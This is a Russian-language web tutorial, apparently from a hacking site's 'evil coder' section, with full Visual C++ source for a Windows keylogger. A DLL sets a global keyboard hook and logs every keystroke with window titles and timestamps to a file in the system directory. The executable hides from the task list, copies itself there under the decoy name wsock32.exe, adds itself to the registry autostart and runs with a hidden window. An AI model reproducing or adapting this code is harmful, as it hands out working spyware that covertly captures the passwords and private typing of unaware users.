Главная » Компьютерный шпионаж » Уголок злого кодера » Пример создания кейлоогера [Visual C++]

Пример создания кейлоогера [Visual C++]

Пример создания кейлоогера [Visual C++]

Сейчас мы будем писать кейлоггер на Visual C++. В данном примере будут использоваться апшные функции, так что, можно переписать на Delphi, если кому-то захочется, то можно и на Асме:). Клавиатурный шпион у нас будет состоять из дополнительной dll и самой программы исполнительного файла(exe).
И так, вот исходники дополнительной dll ks.dll:

#include "stdafx.h"
#include "ks.h"

HANDLE hmod;
HHOOK khook;
HFILE LogFile;
char LogFileName[256] = "ks.txt";//название лог-файла
char FullLogFile[256] = "";
char BufStr0[19] = "";
char BufStr1[200] = "";
char BufStr2[256] = "";
char OldAct[1024] = "";
LPSTR ActWin()//поца для определения активного окна
{
LPSTR ActW = new TCHAR[1024];
SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)ActW);
return ActW;
};
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{ //если лог файл по адресу c:\windir\sysdir отсутствует, то создаем его
GetSystemDirectory(FullLogFile,256);
strcat(FullLogFile,"\\");
strcat(FullLogFile,LogFileName);
LogFile = _lopen(FullLogFile,OF_WRITE);
if (LogFile == 4294967295)
{
LogFile = _lcreat(FullLogFile,4);
};
_lclose(LogFile);
hmod = hModule;
return TRUE;
}
LRESULT CALLBACK HksKeyProc(int nCode,WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION && !(lParam & 0x80000000))
{
//если нажата клавиша, то
GetKeyNameText(lParam,BufStr0,19);
//если ламак не тыкал на кнопочки в этом приложении, то его мы пишем в лог-afqk
char *Active = ActWin();
if (strcmp(OldAct,Active) !=0)
{
strcpy(BufStr1,"\nActive Window(TITLE) ");
strcat(BufStr1,Active);
strcat(BufStr1,"\n");
//вместе с датой и временем
char DateStr0[256] = "dd.MM.yyyy";
char TimeStr1[256] = "hh : mm : ss";
char DateStr1[256] = "";
GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcat(BufStr1,"[");
strcat(BufStr1,DateStr1);
strcat(BufStr1,"] ");
GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
strcat(BufStr1," ");
strcat(BufStr1,DateStr1);
strcat(BufStr1," \n");
strcat(BufStr1,"---------------------------------------------------\n");
strcpy(OldAct,Active);
};
//пишем название нажатой клавиши
strcpy(BufStr2," ");
strcat(BufStr1,BufStr2);
strcat(BufStr1,BufStr0);
LogFile = _lopen(FullLogFile,OF_WRITE);
_llseek(LogFile,0,FILE_END);
_lwrite(LogFile,BufStr1,lstrlen(BufStr1));
_lclose(LogFile);
strcpy(BufStr1,"");
};
return CallNextHookEx(khook,nCode,wParam,lParam);
};
//процедура для установки хука
void HksInit()
{
khook = SetWindowsHookEx(WH_KEYBOARD,
HksKeyProc,
(HINSTANCE)hmod,
NULL);

};
//процедура для закрытия хука
void HksClose()
{
UnhookWindowsHookEx(khook);
};
Теперь нужно написать ks.h:
#ifndef KS_H
#define KS_H

#include
#include

#ifdef __DLL__
#define DLL_EI __declspec(dllexport)
#else
#define DLL_EI __declspec(dllimport)
#endif
//---------------------------------------------------------------------------
extern "C" {
LRESULT CALLBACK DLL_EI HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam);
void DLL_EI HksInit();
void DLL_EI HksClose();
};
//---------------------------------------------------------------------------

#endif
Теперь создаем еще один проэкт для главного exe-шника. Кидаем в него ks.h и ks.lib (нужно его добавить в библиотеки (Alt+F7)).
Вот листинг hks.cpp:

#include "stdafx.h"
#include "ks.h"
char szClassName[256] = "hKs10";
char szAppName[256] = "hKsv10";
typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);
//проца для прятания от Ctrl+Alt+Del
bool RSP(double p1, double p2)
{
PREGISTERSERVICEPROCESS rsp;
HINSTANCE hK32;
bool Rc=false;
hK32=GetModuleHandle("kernel32.dll");
if(hK32!=NULL) {
rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, "RegisterServiceProcess");
if(rsp!=NULL) {
Rc=true;
rsp(p1,p2);
}
FreeLibrary(hK32);
}
return Rc;
}

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//прячем от 3x клавиш
if(FindWindow(NULL,szAppName)) PostQuitMessage(1);
RSP(NULL,1);
//копируем ex-шник и дополнительную dll в %winsysdir%
char szValue [256] = "wsock32.exe";
HKEY pKey;
//прописываемся в автостарте
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey);
RegSetValueEx(pKey,"wsock32",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);
char WinDir[256] = "";
GetSystemDirectory(WinDir,sizeof(WinDir));
strcat(WinDir,"\\");
strcat(WinDir,szValue);
LPSTR lpFile = new TCHAR[256];
GetModuleFileName(NULL,lpFile,200);

CopyFile(lpFile,WinDir,FALSE);
GetSystemDirectory(WinDir,sizeof(WinDir));
strcat(WinDir,"\\ks.dll");
CopyFile("ks.dll",WinDir,FALSE);
//пишем дату записи в файл
char BufStr1[6666] = "";
char DateStr0[256] = "dd.MM.yyyy";
char TimeStr1[256] = "hh : mm : ss";
char DateStr1[256] = "";
GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcpy(BufStr1,"\n---------------------------------------------------\n");
strcat(BufStr1," Write to file: [");
strcat(BufStr1,DateStr1);
strcat(BufStr1,"] ");
GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
strcat(BufStr1," ");
strcat(BufStr1,DateStr1);
strcat(BufStr1,"\n");

char LogFile[256]= "";
GetSystemDirectory(LogFile,256);
strcat(LogFile,"\\ks.txt");
HFILE Log1 = _lopen(LogFile,OF_WRITE);
_lwrite(Log1,BufStr1,lstrlen(BufStr1));
_lclose(Log1);

HksInit();

HWND hwnd;
MSG msg;
WNDCLASS wc;
wc.style = 0;
wc.lpfnWndProc = WndProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.lpszClassName = szClassName;
wc.lpszMenuName = NULL;
wc.hInstance = hInstance;
wc.hCursor = LoadCursor(NULL,IDC_ARROW);
wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
wc.hbrBackground = (HBRUSH) COLOR_WINDOW;

RegisterClass(&wc);

hwnd = CreateWindow(szClassName,
szAppName,
WS_OVERLAPPEDWINDOW,
2,
10,
70,
100,
NULL,
NULL,
hInstance,
NULL);

ShowWindow(hwnd,SW_HIDE);
UpdateWindow(hwnd);
//обрабатываем сообщения
while (GetMessage(&msg,NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg, WPARAM wParam, LPARAM lParam)
{
switch (iMsg)
{
case WM_CREATE:return 1;break;
case WM_DESTROY:
HksClose();
PostQuitMessage(1);
break;
};

return DefWindowProc(hwnd,iMsg,wParam,lParam);
};

Всё. Теперь это все можно запустить и прога скопирует себя B winsir\sysdir wsock32.exe и доп dll в windir\sysdir ks.dll.

Источник:_cyberguru.ru

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *